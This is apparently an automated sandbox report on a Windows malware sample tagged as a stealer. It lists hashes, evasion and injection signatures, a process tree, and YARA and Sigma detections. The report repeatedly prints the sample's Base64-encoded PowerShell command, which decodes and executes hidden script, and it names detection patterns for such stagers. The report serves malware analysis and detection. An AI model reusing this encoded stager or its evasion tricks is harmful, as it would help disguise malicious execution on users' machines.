Edit tour

Windows Analysis Report
dGhlYXB0Z3JvdXA=-free.exe

Overview

General Information

Sample name:	dGhlYXB0Z3JvdXA=-free.exe
Analysis ID:	1583221
MD5:	ede0a1c97eaa446541dcfccd6fa9a6a7
SHA1:	e578715a247461d460899af7302152c5daf4365e
SHA256:	5a94644716cf1ab8c197ecad93562924c3bfb36224b8c0b68e26a252f3e713d8
Tags:	EsqueleStealerexeFUDuser-aniko
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Yara detected Powershell decode and execute

Encrypted powershell cmdline option found

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious PowerShell Parameter Substring

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Use Short Name Path in Command Line

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

dGhlYXB0Z3JvdXA=-free.exe (PID: 6732 cmdline: "C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe" MD5: EDE0A1C97EAA446541DCFCCD6FA9A6A7)

conhost.exe (PID: 5264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1228 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGwATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAEoARwBoAFgAYgBtAFEAcwBJAEQAQQBwAEQAUQBwADkARABRAG8AawBZADMAVgB5AGMAbQBWAHUAZABGAGQAcABiAG0AUgB2AGQAMQBSAHAAZABHAHgAbABJAEQAMABnAFIAMgBWADAAUQBXAE4AMABhAFgAWgBsAFYAMgBsAHUAWgBHADkAMwBWAEcAbAAwAGIARwBVAE4AQwBrAGgAcABaAEcAVgBCAFkAMwBSAHAAZABtAFYAWABhAFcANQBrAGIAMwBjAE4AQwBnAD0APQAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 5928 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 1352 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp" "c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 6688 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGwATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAEoARwBoAFgAYgBtAFEAcwBJAEQAQQBwAEQAUQBwADkARABRAG8AawBZADMAVgB5AGMAbQBWAHUAZABGAGQAcABiAG0AUgB2AGQAMQBSAHAAZABHAHgAbABJAEQAMABnAFIAMgBWADAAUQBXAE4AMABhAFgAWgBsAFYAMgBsAHUAWgBHADkAMwBWAEcAbAAwAGIARwBVAE4AQwBrAGgAcABaAEcAVgBCAFkAMwBSAHAAZABtAFYAWABhAFcANQBrAGIAMwBjAE4AQwBnAD0APQAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 2408 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 3824 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES13F5.tmp" "c:\Users\user\AppData\Local\Temp\3oofqhq2\CSC76E89C1DFE954A0B872EAE18016ED95.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

WMIC.exe (PID: 1588 cmdline: "wmic" csproduct get uuid /value MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1228	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x211008:$b2: ::FromBase64String( 0x210fe7:$b3: ::UTF8.GetString( 0x55b7a:$s1: -join 0x62c4f:$s1: -join 0x66021:$s1: -join 0x666d3:$s1: -join 0x681c4:$s1: -join 0x6a3ca:$s1: -join 0x6abf1:$s1: -join 0x6b461:$s1: -join 0x6bb9c:$s1: -join 0x6bbce:$s1: -join 0x6bc16:$s1: -join 0x6bc35:$s1: -join 0x6c485:$s1: -join 0x6c601:$s1: -join 0x6c679:$s1: -join 0x6c70c:$s1: -join 0x6c972:$s1: -join 0x6eb08:$s1: -join 0x7d552:$s1: -join
Process Memory Space: powershell.exe PID: 6688	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2385af:$b2: ::FromBase64String( 0x23858e:$b3: ::UTF8.GetString( 0x24086:$s1: -join 0x3115b:$s1: -join 0x3452d:$s1: -join 0x34bdf:$s1: -join 0x366d0:$s1: -join 0x388d6:$s1: -join 0x390fd:$s1: -join 0x3996d:$s1: -join 0x3a0a8:$s1: -join 0x3a0da:$s1: -join 0x3a122:$s1: -join 0x3a141:$s1: -join 0x3a991:$s1: -join 0x3ab0d:$s1: -join 0x3ab85:$s1: -join 0x3ac18:$s1: -join 0x3ae7e:$s1: -join 0x3d014:$s1: -join 0x4ba5e:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi64_1228.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_6688.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

